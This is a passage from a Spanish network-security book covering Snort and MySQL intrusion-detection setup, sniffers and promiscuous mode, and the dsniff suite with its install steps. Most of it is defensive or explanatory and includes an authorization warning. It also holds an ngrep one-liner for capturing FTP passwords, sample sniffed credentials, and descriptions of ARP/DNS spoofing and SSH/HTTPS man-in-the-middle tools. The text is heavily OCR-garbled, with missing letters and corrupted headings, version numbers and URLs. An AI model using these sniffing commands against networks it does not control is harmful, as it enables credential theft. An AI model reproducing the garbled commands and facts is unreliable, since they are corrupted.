una buena abor de nvestgacn, pero para hacer esto, no se deben ao|ar os ogs dentro de a
propa mquna. Ya sabemos o senco que es para un atacante que sabe o que hace (o cree saber)
emnar os ogs. Lo me|or es nstaar una base de datos como MySq, en un sstema remoto que
amacene os regstros y que permtan ser consutados cmodamente.
0NOBT
Snort es e a quntaesenca de as herramentas de deteccn de ntrusos. Lo me|or de todo es que es
gratuto y de cdgo bre. Snort se puede usar con MySq, un potente servdor de datos. Ambos son a
pare|a dea.
Supongamos que tenemos a mquna SNORT 192.168.0.1, donde correr e detector de ntrusos y a
mquna MYSOL 192.168.0.2, donde se e|ecutar e servdor de datos.
Antes que nada, debemos descargar una brera que Wnxx no posee y de a que no podemos
prescndr para a reazar as abores de snffer (tema que veremos ms adeante) y poder capturar e
trfco de a red. Se ama WnpCap y debe ser nstaada tanto para usar e Snort como cuaquer otro
snffer. Se puede descargar desde http://wnpcap.poto.t.
23Lenguaje de programacin de bajo nivel que se usa para escribir programas pequeos includos los virus. En los das tempranos, el
lenguaje assembler se us siempre. Hoy solo se usa cuando la velocidad es esencial o cuando la tarea no es posible en el lenguaje de Alto
nivel que nosotros estamos usando. Se dice que es de bajo de nivel ya que estn ms cerca al lenguaje mquina. Lo de nivel no tiene el
significado de "calidad" como alguien podra pensar. Los archivos llevan extensin .ASM
100
Cuando se est nstaando, o prmero que pregunta nos Snort es s deseamos soporte para FexResp,
que permte cerrar conexones cuando se reconoce un patrn. Preguntar tambn s queremos
soporte para MS SOL Server, que no es e caso. Lo dems puede de|arse por defecto.
Para su confguracn, sgue a fosofa Lnux, y en e archvo snort.conf ubcado en C:\snort\etc\, que
resuta bastante autoexpcatvo, podremos encontrar a nformacn necesara para afnar a
herramenta a nuestro gusto. Hay que notar que e archvo se encuentranen formato Unx, por o que
debemos abrro y modfcaro con e Wordpad.
Lo ms mportante es asegurarnos que Snort encuentra as regas vgando a varabe
var RULE_PATH
Por defecto vene con e vaor ".../rues" que sgnfca que escaa un drectoro para encontraro. Es
me|or cambar su vaor por
var RULE_PATH C:\snort\rues
La varabe HOME_NET nos dce qu se quere montorzar dentro de nuestra red. S soo se desea
montorzar e propo host, es necesaro ndcaro de este modo:
192.168.0.1/32
S se quere montorzar a red entera 192.168.0.x, podemos ndcaro as:
var HOME_NET 192.168.0/24
La varabe EXTERNAL_NET nos ndca qu montorzar de o que venga de "afueras". Lo norma es
de|aro por defecto con e vaor "any" que equvae a "todo".
on7igurando <)s-l
Nos vamos a a mquna que dar ao|o a a base de datos. Instaar Mysq para Wndows resuta fc.
Se nstaa como un servco ms que escucha en e puerto 3306. Para funcones de admnstrador de
a base de datos, se puede e|ecutar a herramenta grfca wnmysqadmn.exe y pusar sobre "Start
Servce", aunque resuta ms cmodo e|ecutar smpemente
C:\>net start mysq
Con C:\mysq\bn\mysq tendremos acceso a a consoa.
Lo prmero es confgurar a segurdad, aunque es convenente nformarse de todas as posbdades
de a base de datos. Para cambar a contrasea de root:
mysql>update mysql.user set password=PASSWORD('clave')
where user='root';
mysql> FLUSH PRIVILEGES;
Ahora es necesaro crear a estructura en a base de datos MYSOL para que abergue os datos de
Snort. Una vez e|ecutado mysq, teceamos desde a nea de comandos:
mysq>create database snort;
101
Para asegurarnos de que traba|amos ba|o a base de datos de snort, nos samos con e comando qut
y e|ecutamos desde a nea de comandos:
C:\mysq -D snort <C:\snort\contrb\create_mysq
Y con esto, dentro de a base de datos snort habremos creado as tabas necesaras con a sntaxs
propa de mysq para que e snort pueda guardar a nformacn.
Desde e programa grfco wnmysqadmn.exe podremos ver en a pestaa "Databases" como a
base de datos snort ha sdo creada y contene todas as tabas que nos nteresan.
Posterormente crearemos un usuaro que tenga os permsos requerdos para usar a taba. Vovemos
a a consoa C:\mysq\bn\mysq y teceamos:
mysql> grant insert, select update,create,delete on snort.* to snortusr@192.168.0.2 identified by 'clave';
mysql>FLUSH PRIVILEGES;
As, soo e usuaro snortusr que entre a a mquna SNORT y se dentfque adecuadamente tendr
permso para aadr, observar, actuazar, crear tabas y borrar regstros dentro de a base de datos
snort. Los datos deben concdr con os que se van a aadr en snort.conf, en a nea de output
(sada) comentada ms arrba.
S no se dspone de otros centes grfcos, podemos conectarnos desde cuaquer mquna a servdor
de a base de datos de a manera sguente.
C:\mysq\bn>mysq -D snort -h 192.168.0.2 -u snortusr -pcave
Una vez conectados:
mysq>seect * from snort.event;
En a taba event se guardan os ndces de os eventos (ataques o sospechas de snort). S no hay
nnguno, deberemos esperar agunos mnutos a que snort dentfque un posbe ataque. S a fna no
se ha regstrado nada, habr que repasar os pasos anterores, verfcando que ambos servcos
permanecen actvos. Ntemos que Snort permanece en memora y e servdor mysq aparece en a
bande|a de sstema representado por un semforo en verde.
Para vover a entrar a a consoa como root, debemos tecear:
C:\mysq\bn> mysq -u root -pcave
Un admnstrador grfco que nos puede nteresar es EMS-MySq Manager para Wndows. Exste una
versn gratuta dsponbe para descargarse desde
http://ems-htech.com/mymanager/
Enstalaci'n en Linux
La nstaacn en Lnux de Snort es bastante smar, os pasos son anogos y as modfcacones son
as msmas. Soamente hay que tener cudado de ndcare a programa en a nstaacn que debe
comparse con a opcn de soporte para MySq.
./confgure -wth-mysq= usr/b/mysq
102
Los usuaros de Deban deben confrmar que en e archvo /etc/mysq/my.cnf a nea skp_networkng
est comentada, en caso de no estaro, no traba|ar correctamente.
Para arrancaro, os parmetros ms utzados son:
$ snort -D -b -c /snort.conf
Con e parmetro 5D se e ndca que corra como Daemon (demono
24
), con 5b que regstre os
paquetes a esto tcpdump o que e da veocdad. Con a opcn 5c se e ndca a ubcacn de
archvo de confguracn. Como en todo comando de Lnux, os parmetros deben ser coocados
exactos, respetando mayscuas y mnscuas . No es o msmo -d que -D.
Tampoco debemos ovdar que es necesaro crear e drectoro de os ogs de antemano con e
comando m*dir.
$ mkdr /var/og/snort
24Daemon (o Demonio) Abreviacin de las palabras inglesas Disk and execution monitor (Monitor de Disco y Ejecucin). Los Demonios
estn presentes en todos los sistemas UNIX y desempean tareas que no requieren intervencin del usuario, es decir, son independientes.
Las personas ms familiarizadas con Windows pudieran comparar a los demonios y las tareas de que son responsables con los servicios.
Un ejemplo de demonio presente en los sistemas UNIX es el LPD (Line Printer Daemon).
103
Introduccn a Los Snffers
Cuando os admnstradores de sstemas tenen pesadas, suean con snffers. S de por s, un
sstema con probemas de segurdad ya es un door de cabeza, o es ms s tene nstaado un snffer
operando y robando os secretos ms ntmos de a empresa y sus passwords mportantes. Este
captuo tene como ob|etvo revsar os snffers exstentes ms popuares, como es que funconan y o
ms mportante, como detectaros.
La red Internet es un con|unto de subredes comuncadas entre s medante mqunas amadas
gateways (tambn conocdas como puertas de enace o pasareas), brdges o routers. Cada subred,
puede estar a su vez, dvdda en varas subredes y as sucesvamente. Lo ms usua es que as
mqunas estn organzadas en una red de tpo Ethernet, y que dcha red est conectada a Internet
(o a una subred de Internet) medante sus correspondentes routers o gateways que sern as
mqunas que mantengan a dcha red Ethernet en contacto con e resto de os ntegrantes de a red.
Hay que notar que no tene porqu ser so un router o gateway, una msma red puede tener varos
para comuncarse con e exteror.
JateGa)s o Pasarelas
Un gateway es un dspostvo que permte nterconectar redes con protocoos y arqutecturas
dferentes a todos os nvees de comuncacn. Su propsto es traducr a nformacn de protocoo
utzado en una red a protocoo usado en a red de destno. Es una puerta de acceso, tenendo ugar
una conversn competa de protocoos hasta a capa de apcacn de modeo de referenca OSI.
Un gateway es normamente un equpo nformtco confgurado para hacer posbe a as mqunas de
una red oca (LAN) conectadas a , es de acceso haca una red exteror, generamente reazando
para eo operacones de traduccn de dreccones IP (NAT: Network Address Transaton). Esta
capacdad de traduccn de dreccones permte apcar una tcnca amada IP Masqueradng
(enmascaramento de IP), usada muy a menudo para dar acceso a Internet a os equpos de una red
de rea oca compartendo una nca conexn a Internet, y por tanto, una nca dreccn IP externa.
La dreccn IP de un gateway (o puerta de enace) a menudo se parece a 192.168.1.1 o 192.168.0.1
y utza agunos rangos predefndos, 127.x.x.x, 10.x.x.x, 172.x.x.x, 192.x.x.x, que engoban o se
reservan a as redes ocaes. En caso de usar una computadora como gateway, necesaramente
deber tener nstaadas 2 nterfaces de red.
En entornos domstcos se usan os routers ADSL como gateways para conectar a red oca
domstca con a red que es Internet, s ben esta puerta de enace no conecta 2 redes con protocoos
dferentes, s que hace posbe conectar 2 redes ndependentes hacendo uso de ya menconado NAT.
Veamos e funconamento. En as redes os dspostvos concretos se nterconectan entre eos
medante concentradores o conmutadores (swtches). Cuando se quere agrupar esos dspostvos en
grupos, se pueden conectar esos concentradores a unos routers (enrutadores). Un router o que hace
es conectar redes que utcen e msmo protocoo (por e|empo, IP, NetBIOS, AppeTak). Pero un
router soo puede conectar redes que utcen e msmo protocoo. Entonces, cuando o que se quere
es conectar redes con dstntos protocoos, se utza un gateway, ya que este dspostvo hace posbe
traducr as dreccones y formatos de os mensa|es entre dferentes redes.
Las redes Ethernet traba|an mandando os paquetes de nformacn por un msmo cana compartdo
por todas as mqunas. En a cabecera de cada paquete de nformacn est ncuda a dreccn de
a mquna a a cua va destnado e paquete de nformacn. Se supone que e paquete de
nformacn so o recbe a mquna a a cua va destnado.
104
En su orgen, os snffers fueron desarroados con a fnadad de depurar os probemas en as redes.
Entre os usos tpcos de os snffers se ncuyen: a captura automtca de contraseas, conversn
de trfco de red en un formato entendbe, anss de faos para descubrr probemas potencaes en
as redes (por e|empo, probemas de conexn entre computadoras), medcn de trfco, deteccn
de ntrusos (con e fn de descubrr a os hackers macosos que queren ntroducrse a sstema).
Aunque para esa accn exsten programas especfcos como os IDS o Intruson Detecton System
(Sstema de Deteccn de Intrusos), que a fn de cuentas no son mas que snffers con funconadades
especaes y que veremos ms adeante en ste documento.
E trmno orgna que descrbe a captura de todos os paquetes en una red se conoc como
"Snffng the ether" esnifar el 7ter. Esnfar es angcsmo que se defne como ofatear; sendo sta una
buena traduccn, en vrtud de que os snffers reamente ofatean os datos. En a frase se |uega con
a paabra ter (de a mstca bveda etrea) pero refrndose en readad a Ether, e trmno
tecnogco que se usa para descrbr a terra de os paquetes consttudos por cabes coaxaes y
tar|etas de red. La paabra tampoco debe confundrse con a sustanca qumca ter (xdo de eto).
Podemos consderar a os snffers como apcacones grabadoras que regstran datos que deambuan
por a red y pueden tambn usarse para a creacn de regstros de red y as evtar que os ntrusos
sepan que estn sendo montoreando. Los admnstradores de sstemas anazan os paquetes para
conocer qu es o que sucede en su red y qu tpo de datos se envan haca y desde a red.
Ti&os de Ata-ues on 0ni77ers
La accn de usar un snffer para husmear una red en busca de passwords se consdera un ataque
pasvo. Este tpo de ataque no hace ntrusn en una computadora o red por fuera de su propo
segmento. Por otro ado, un ataque que se efecta en una mquna remota provocando un robo de
nformacn, desbordamento de memora, foods de red y otros tpos de ncursones se consderan
un ataque actvo y es ega. Por su naturaeza msma, un ataque pasvo es pasado por ato por a
persona que est sendo atacada. La vctma no tene ndcadores que seaen a actvdad a que est
sendo sometda, por o que consdero que os snffers estn desempeando un ataque gua de
macoso y sero que cuaquer otro ataque actvo.
Exsten dferentes tpos de snffers pero os ms comnes son os que se basan en Ethernet. Los de
esta case nteractan con a Tarjeta de Interfaz de Red (NIC o tar|eta Ethernet) para capturar
absoutamente todos os paquetes que se encuentren dentro de rango de sstema que est a a
escucha. E sstema que escucha es precsamente e sstema que tene e snffer nstaado.
Las PCs tenen a capacdad de capturar todo e trfco de a red, sn embargo, para no saturar a
tar|eta demasado y sendo que a una persona no e nteresan os datos de as dems personas, as
tar|etas Ethernet ncorporan un ftro que gnora todo e trfco de datos que no estn destnados a a
PC donde esta se encuentra.
En teora, so a mquna que tene a IP de destno podr recoger os datos en vrtud de que a
tar|eta de red rechaza todos os paquetes que no estn drgdos a ea. La tar|eta en a PC, sn
embargo, puede ponerse candestna (o egamente en caso de ser e admnstrador de un sstema
propo), en modo &romiscuo para obgar a a NIC a que recba TODOS os paquetes que recorren a
red, sn mportar o que tenga en a cabecera como IP de destno. Bscamente un snffer o que hace
es poner as tar|etas en modo promscuo, es decr, que a mquna acepta todos os paquetes que van
por a red y no soo os que van destnados a ea.
Despues de que a tar|eta de red se ha puesto en modo promscuo, e snffer basado en Ethernet se
pondr a capturar e trfco que cruza e segmento Ethernet oca. Sn embargo debe notarse que
estos snffers no tenen a capacdad de capturar os paquetes que va|an ms a de os routers,
swtches o dspostvos de segmentacn.
105
Lo sguente es un resutado mostrado por uno de os snffers ms popuares:
$&& #'$GERRY!g1e2r3r4y5
g1e2r3r4y5
cd /software
E nombre de usuaro es JEBBT y e password es g3e8rKrL)M
La graca de esto es que en una red norma (sn usar metodos de encrptacn de passwords como e
Kerberos) van os paquetes con e ogn y passwd de otras mqunas con o que se podrn consegur
cuentas en otras mqunas sn hacer cas nada. Pueden verse desde emas, documentos
confdencaes y cuaquer otro tpo de dato que va|e por a red desencrptado.
Los snffers resutan muy tes cuando una red est conectada medante Hubs y todos pueden espar
os datos de todos. Pero s a red se encuentra segmentada medante conmutadores (swtches), os
datos se quedan por dentro de cada segmento y es casi imposible detectar e trfco desde un
segmento exteror. Pero porqu es "cas mposbe"? Vanse os captuos ntroductoros acerca de a
MAC y e ARP desarroados anterormente.
A dferenca de os crcutos teefncos, as redes de computadoras son canaes de comuncacn
compartdos. Esto sgnfca que a PC puede recbr nformacn de otras computadoras. Como ya
menconamos, a forma ms convenente de compartr nformacn entre dos computadoras es por
medo de Ethernet. E cabeado Ethernet traba|a envando paquetes de nformacn por todos os
nodos de a red. E paquete porta una cabecera con a nformacn de destno. So aquea mquna
con esa dreccn puede recbr e paquete. Tambn sabemos que se puede poner una tar|eta de red
en modo promscuo para que recba todos os paquetes sn mportar o que dga a cabecera.
E snffer puede capturar os datos transmtdos por a red. Un router (ruteador) ee cada paquete de
datos que pasa por y determna e destno de paquete dentro de a red. Un router y un snffer
pueden eer os datos dentro de paquete as como a dreccn destno.
La Promiscuidad
Ya mencon antes ste trmno reaconndoo con e modo de operar de as tar|etas de red. La
paabra tene en e vocabuaro popuar una connotacn despectva y en e caso de as tar|etas de
red, es muy vada. En as redes de dfusn, cuando una mquna enva una trama a otra ndca en un
campo reservado a dreccn de host destno. Aunque todas as mqunas pueden ver esa trama,
soo a egtma receptora podr capturara de a red.
Este es e funconamento norma de protocoo TCP/IP. Sn embargo, para poder hacer que as
mqunas que soo een as tramas tambn tengan a posbdad de capturaras hay que poneras en
modo promscuo. De este modo as tar|etas een todo e trfco que crcua por a red. E modo
promscuo anua e ftro MAC.
Para poner a tar|eta en modo promscuo en una mquna con Lnux, debemos tener prvegos de
admnstrador, ser root, ya que es ago que se supone no debe estar a acance de cuaquer persona.
En sstemas wndows, cuaquer usuaro (hasta un Lamer) puede coocar un snffer para poner en
modo promscuo a tar|eta de red.
En Lnux, sendo root, se puede actvar o desactvar a nuestro anto|o e modo promscuo de una
tar|eta de modo sguente:
$ fconfg eth0 promsc <-para actvar
$ fconfg eth0 -promsc <-para desactvar
106
Para comprobar e modo promscuo escrbe en a nea de comandos
fconfg -a
eth0 Link encap:Ethernet HWaddr 00:0D:87:07:6D:D0
UP BROADCAST PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:20 Base address:0xd400
Normamente, cuando a tar|eta pasa a modo promscuo, queda refe|ado en e archvo de ogs. Para
veros debemos tecear:
$ su
uego:
# cat /var/og/messages
Y debe haber una nea, entre muchsmas otras, parecda a esta:
/kernel: fxp0: promiscuos mode enabled o quz gua a esta
Sep 26 15:53:00 XX kernel: [27490.081970] device eth0 entered promiscuous mode
En a versn de Lnux Ubuntu o Freespre, no se entra como root nmedatamente, ya que es una
forma de proteger e sstema de modfcacones pegrosas. Antes de comando fconfg, pudera ser
que se requera ngresar e comando prevo su o sudo que nos permte e|ecutar comandos con
prvegos de root. sudo sgnfca SUperuser DO. E comando "sudo" pedr un Password (o puede que
no o pda). So que tenemos que escrbr a contrasea de usuaro (aunque no aparezcan os sgnos
de ****). S nos cansamos de tecear sudo todas as veces, podemos tecear e comando con certas
opcones:
sudo -s
segudo de a contrasea de usuaro. En Freespre, una nueva dstrbucn de Lnux, se nos da a
opcn de abrr una termna en modo superusuaro para que a contrasea soo se ponga una vez.
omo !unciona Dn 0ni77er
Un snffer o que hace es ofatear (de ah e nombre). Cuando uno se conecta a Internet, estamos
aprovechando os protocoos. No nos damos cuenta de esto, porque sempre se usa a tma capa, a
de apcacn. A ba|ar ms de nve se pueden entender as tramas puras de a nformacn que
crcua por a red. Los programas de apcacn proporconan a nterfaz y hacen e traba|o suco por
nosotros.
Los snffers esnfan e trfco que detectan y muestran as tramas de datos desnudos antes de ser
nterpretados por e programa correspondente. Soo son nterceptados por e snffer en s y eso
dferenca as preferencas entre uno y otro, a cantdad de nformacn y cmo muestre cada paquete
capturado. A decr que o capturan todo, me refero a que pueden mostrar desde passwords,
mensa|es, que s no estn cfrados, cuaquer persona os puede ver. Los snffers capturan, nterpretan
y guardan os paquetes envados por a red para un posteror anss.
Podemos consderar a os snffers como grabadoras que regstran o que capturan. Las personas que
admnstran os sstemas pueden anazar os paquetes capturados para conocer qu es o que esta
sucedendo en a red. Esto es ayuda a depurar y souconar os probemas presentados.
107
Para que a mayora de os snffers funconen de manera correcta, se requere de una brera especa
(o biblioteca, segn certos autores) que Wnxx no posee y que se ama .in&ca&, a que resuta cas
mprescndbe para reazar as accones de captura de snffer y absorber e trfco de a Red. Esta
brera puede descargarse desde http://wnpcap.poto.t. Este archvo se basa en a brera Lib&ca&
de os sstemas Lnux que ya traen por defecto esta brera.
Debemos hacer una dferenca acerca de os snffers. Los hay de dos tpos: os comercaes, usados
por os SysOps (admnstradores de sstemas); y os Underground, usados por aqueos que gustan de
asatar computadoras. Independentemente de uso que se es d a estos programas, estn
dsponbes para os usuaros como software comerca, shareware o freeware.
Programas 0ni77ers
Hay muchsmos snffers que poseen muchas opcones y que se pueden encontrar por a red, ncuso
agunos comercaes. Los ms conocdos y dstrbudos en crcuos underground son snffers para
SunOS, Lnux. Por otra parte, programas ben conocdos como Etherfnd o Tcpdump se pueden utzar
estupendamente como snffers, aunque no hayan sdo concebdos para esos fnes. Tcpdump fue de
os ms popuares en su tempo
Agunos permten snffear agunos puertos o todos, buscar paabras en os paquetes, etc y os hay
desde agunos muy sencos hasta otros que son comercaes. Uno de os ms usados es e Etherea,
dsponbe para Wnxx y Lnux y es gratuto. Se puede descargar desde www.etherea.com.
E tcpdump es un programa bastante grande y esa caracterstca o hace probemtco ya que es un
montor de red muy potente pero que tamben deata su presenca s se ntroduce en una mquna,
porque tene muchos archvos y puede ser fcmente detectado a usar e comando
ps -axw
por o que es me|or evtar usaro y s estamos en un Lnux, usar snffers pequetos.
Tambn estn e Jobbler y e NetGor* 0&)4 Este tmo es nteresante por su funcn Packet
Generator para Wnxx, que permte crear un paquete personazado y envaro por a Red. E nco
probema es que es de paga. Para Wnxx exsten muy pocos programas que permtan manpuar os
paquetes en este nve.
En Lnux s hay y se pueden descargar de todo tpo desde www.freshmeat.net. En este ste se pueden
descargar muchas otras uteras. Hay una en especa, e Ngrep que trataremos brevemente ms
adeante.
Esni77
Es un programa muy pequeo y en Internet puede hasta descargarse e cdgo fuente. So captura
os prmeros 300 bytes de cuaquer sesn Tenet, FTP. Exsten otros programas ms avanzados y
me|ores.
Jobbler
Esta herramenta no fue creada para Wndows propamente, pero de cuaquer manera es un snffer
que se puede utzar ba|o Wnxx en una red Ethernet. Su funcn prmorda es a captura de os
paquetes que pasan por una red y as, posbtar consegur desde ogns, passwords hasta cuaquer
otro tpo de nformacn que se desee. Lgcamente s os paquetes estn encrptados, nos dfcutar
e proceso, ya que habr que desencrptaros, s se puede. Como sempre, se abre una ventana y se
e|ecuta e programa de a sguente manera:
C:\>gobber
108
Se actvar e programa y podrn verse una sere de ventanas, en este punto debemos pusar a teca
<ESC> y sadr una ventana con un men. Ahora soo tenemos que confgurar e programa para
nuestra red. Es muy senco de utzar, con un poco de practca podremos fcmente domnar este
snffer. Como sugerenca convene eer e archvo de documentacn que vene con e paquete, ya que
expca como confgurar e programa.
Ngre&
Es una herramenta que permte ser usada de un modo cas smar a a utera Grep (Goba Reguar
Expresson Prnt) pero apcado a redes (a N es de Net, red). Exste para Wnxx y Lnux. Se e amenta
con una cadena de caracteres y muestra as neas que concdan con un patrn dado. Su uso es
senco, para espar contraseas en conexones FTP que ocurran en nuestra red escrbmos en a nea
de comandos:
ngrep "USER|PASS" tcp port 21
Este programa est dsponbe para Wnxx pero no es tan bueno como a versn que exste para a
pataforma Lnux ya que no posee a sufcente potenca; por o que para tener mayor contro de os
procesos, hay que mgrar a a pataforma preferda de os e|ecutores de Ofco.
LibNet
En o que a generacn de paquetes se refere, en Lnux exsten uteras muy verstes para evar a
cabo estos menesteres. Podemos usar e programa LbNet. LbNet es un con|unto de herramentas
que permten a modfcacn e nyeccn de paquetes modfcados en redes, a ato nve. Soo
tendremos que esnfar un poco e trfco para ver de cerca a estructura de certo tpo de paquetes e
mtaros y de ese modo expermentar dstntas respuestas y confguracones de quen o recba. E
programa tambn permte confguraro con dstntos tpos de regas para ftrar de modo convenente
e tpo de paquete que nos nteresa conocer y cuaes descartar.
Et+ereal
Etherea es un anazador de protocoos que permte examnar datos de una red o desde un archvo
de captura en un dsco. De modo nteractvo, se puede navegar a travs de os datos capturados, ver
un resmen e nformacn detaada de cada paquete. Agunas dstrbucones de Lnux o traen
ncorporado y aunque fue desarroado en sstemas Unx, ya se encuentran versones para otras
pataformas como Wndows. Cas podemos asegurar que Etherea es e me|or snffer Freeware
dsponbe para Wndows. Se puede descargar desde
www.etherea.com
Esta utera es muy senca de usar. Con a combnacn de tecas CTRL+K mostrar un cuadro de
dogo. S en ese ugar se pusa sobre Enabe Network Name Resouton, no mostrar as dreccones
IP, sno e nombre de a mquna que est asocada a esa IP. En esta msma pantaa se pueden
confgurar os ftros (para que soo capture a nformacn en a que aparezca e patrn ntroducdo) y
e archvo donde se guardar a nformacn.
E Etherea vene con dos herramentas que se usan con a nea de comandos:
Editca&: que es una t herramenta que permte a usuaro edtar e formato de un archvo
generado por Etherea.
Tet+ereal: que permte esnfar sn necesdad de grfcos.
Para capturar paquetes se necesta tener prvegos de root.
109
omm1ieG
E programa CommVew es una herramenta que nos posbta a montorzacn de trfco de as
redes ocaes y permte detectar os posbes probemas que vayan aparecendo. E programa tene
una versn de prueba y, segn certos operadores de sstemas, vae a pena desembosar os pocos
dares que cuesta.
Una de sus prncpaes venta|as es que s e ancho de banda en una red dsmnuye demasado, puede
usarse e CommVew para ver s hay ntrusos pasendose a sus anchas o para ndcar a presenca
de tpo de vrus que generan reportes de barrdos de dreccones IP en busca de equpos vunerabes.
CommVew es un programa amgabe y puede mostrar estadstcas IP. Se puede vsuazar e equpo
por su IP o por su dreccn MAC. Y se muestra e equpo oca y remoto, e protocoo y os dstntos
puertos y e nombre de host s es que puede ser resueto por DNS. E programa tene una pestaa
donde se pueden anazar os paquetes ntercambados con equpos remotos o de a msma red.
CommVew tambn posee una herramenta amada Reconstrur Sesn TCP que permte ver os datos
en modo HEX (hexadecma) o ASCII y as poder conocer muchos datos de o efectuado por cada
usuaro en sus dversos tpos de conexones (http, TCP, NetBos, etc). Esta parte es a pegrosa en
caso de que esta herramenta caga en manos que no sean as de SysOp que desea souconar
probemas.
Los paquetes se descfran a a capa ms ba|a con e anss tota de os protocoos ms usados.
Iguamente se puede tener acceso a os datos en bruto de cada paquete. Peden amacenarse os
paquetes capturados para un anss futuro.
Se pueden desarroar ftros para mtar a captura so a o que deseamos. CommVew ofrece a
decodfcacn competa de os sguentes protocoos: ARP, BCAST, DHCP, DNS, ICMP, ICO, SMTP, UDP,
TELNET, TCP entre otros ms.
CommVew puede ser descargado desde
www.tamos.com/downoad/man/
110
La Sute Dsnff
Habar de dsnff requere su captuo propo porque es mportante saber como mane|aro para sacare
e mayor provecho. Ya que hemos dscutdo ampamente acerca de os dferentes tpos de ambente
Ethernet y e concepto detrs de e esnfado, podemos empezar a mane|ar a sute Dsnff.
Descri&ci'n
Dsnff es un con|unto de apcacones para Lnux destnadas a a audtora de red y a os tests de
penetracn. Lo componen varas herramentas que montorean a red de manera pasva (es decr, no
se genera n se modfca nngn dato capturado), en busca de nformacn nteresante: contraseas,
correos, archvos, etc. Permte nterceptar datos en entornos de redes segmentadas, que como ya
mencon utzan dspostvos de capa 2, como son os swtches en vez de hubs.
Advertencia
S nos decdmos a empear dsnff, deberemos hacero en nuestra propa red domstca o, s
traba|amos en una compaa, con e permso de os admnstradores de a red, por escrto y con copa
para cada una de as partes . Debemos saber que exsten mtodos para detectar snffers y que puede
haber seros probemas egaes cuando se usan sn autorzacn herramentas que tambn pueden
ser usadas por hackers macosos. Ha habdo casos de despdos y encarceamento para as personas
que hacen caso omso de estos conse|os. No es un |uego y a reputacn de uno est en a baanza.
Enstalaci'n
Lo que detaaremos en este apartado ser ms que nada as nstruccones para nstaar a sute en
nuestro sstema y otros aspectos mportantes sobre su uso. Ta y como o descrbe su creador, Dug
Song, dsnff contene as sguentes uteras:
ar&s&oo7: Redrge os paquetes de un host banco (o todos os hosts) a otro host, faseando as
respuestas ARP. Esta es una forma efectva de esnfar e trfco sobre un swtch.
dnss&oo7: Fasea respuestas a petcones de puntero/ dreccones DNS sobre a LAN. Esto es t para
sacare a vueta a os controes de acceso basados en nombres de hosts o para mpementar una
buena varedad de ataques man-n-the-mdde.
dsni77: Es un esnfador de contraseas que mane|a FTP, Tenet, SMTP, HTTP, POP, NNTP, IMAP, SNMP,
LDAP, Rogn, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICO, Napster,
PostgreSOL, Meetng Maker, Ctrx, ICA, Symantec pcAnywhere, NAI Snffer, Mcrosoft SMB, Orace
SOL*Net, Sybase y os protocoos SOL de Mcrosoft.
7ilesnar7: graba os archvos esnfados de trfco NFS en e drectoro actua.
maco7: Inunda a red oca con dreccones MAC aeatoras (causando una faa de apertura en
agunos swtches que estn en modo de repetcn), o que facta e esnfado.
mailsnar7: Muestra mensa|es de correo eectrnco esnfados de trfco SMTP y POP en e formato
Berkeey mbox, adaptado para navegacn fuera de nea con e ector de correo favorto.
msgsnar7: Regstra mensa|es seecconados de Mensa|ero nstantneo de AOL, ICO 2000, IRC, MSN
Messenger, o sesones de chat en e Yahoo Messenger.
tc&*ill: Mata conexones TCP en progreso (t para apcacones basadas en bnds que requeren un
competo acuerdo de tres vas (3-way handshake) para creacn de TCB).
tc&nice: Dsmnuye a veocdad de as conexones TCP especfcadas sobre una LAN va "actva".
urlsnar7: Reporta todas as URLs esnfadas de trfco HTTP que puede ser empeado para un anss
posteror con e anazador de regstros de web favorto.
Gebs&): Enva as URLs esnfadas de un cente para mostrar as pgnas en nuestro navegador en
tempo rea.
ss+mitm: Proxea y esnfa trfco SSH redrgdo por dnsspoof, captura passwords usados para
oguearse y, como opcn, secuestra sesones nteractvas.
Gebmitm: Proxea y esnfa trfco HTTP/HTTPS redrgdo por dnsspoof capturando ogns y envos de
formas encrptadas en SSL.
111
Una vez que estas uteras se encuentren nstaadas y e|ecutndose, podremos expermentar con as
dstntas herramentas para tener a posbdad de determnar cmo es que nos pueden ayudar a
audtar a segurdad de nuestra red.
Enstrucciones de Enstalaci'n
Para poder utzar dsnff se requere descargar as sguentes breras. Lo me|or es ba|aras en e
formato tar.gz.
Lib&ca& v5R4M48 (http://www.tcpdump.org)
Libnet v534R484a (http://www.packetfactory.net/Pro|ects/bnet)
Libnids v5343N (http://www.packetfactory.net/Pro|ects/bnds)
Libdb v5db5K4343O (http://www.seepycat.com)
O&en00L (http://www.openSSL.org)
Dsni77584KbL (http://www.monkey.org/-dugsong/dsnff/)
En a pgna de preguntas frecuentes de dsnff www.monkey.org/-dugsong/dsnff/faq.htm
podemos encontrar gas drectas a estas utdades, ba|o a seccn "34L .+at else is re-uired."
Los nmeros de versones son muy mportantes ya que una versn dferente puede provocar que a
sute no funcone adecuadamente.
S tenemos pensado empear arpspoof para capturar e trfco de red, necestaremos descargar e
7ragrouter que se puede obtener de
http://www.anzen.com/research/ndsbench/
Es me|or descargar todo en formato tar4g/ y coocaros en e drectoro 2bin.
Despus de descargar as breras, necestaremos compar e nstaar estos archvos. A contnuacn
descrbremos e prmer proceso:
Para desempaquetar en un soo paso e comprmdo 4tar4g/ hay que tecear desde una consoa de
comandos:
-$ tar -xzf dsnff-2.3.tar.gz
E comando tar con as opcones 5x/f desempaquetar os archvos y crear una carpeta con e
msmo nombre (por e|empo, dsni77584K4tar4g/ crea una carpeta amada dsni77584K).
Ya que os archvos estn desempaquetados, necestamos competar tres pasos ms por cada archvo
para compar e nstaar as apcacones.
om&ilaci'n e instalaci'n: De|ando e archvo dsnff como e tmo para compar, comenzamos
con a prmera de as apcacones, por o que deberemos cambarnos a drectoro bpcap. Buscamos
e archvo con7igure. Abrmos una consoa de comandos y teceamos:
-$./confgure
Posterormente, teceamos e comando make para compar e cdgo
-$ make
Ya que se haya competado a compacn, teceamos e comando que permte a nstaacn de as
breras:
-$ make nsta
112
Debemos segur e msmo poceso con todos y cada uno de os archvos, con excepcn de bdb, que
requere que empeemos e comando 42con7igure con un parmetro especa:
-$ ./confgure --enabecompat185
E tmo archvo, e dsnff, o compamos hasta e fna de proceso, ya que exste a probabdad de
que muestre errores s as breras no se han nstaado prevamente.
S por aguna razn se muestran errores mentras se nstaan as breras, podemos buscar ayuda en
Internet. Podemos buscar en www.googe.com o en www.de|a.com que tenen ndexadas muchas
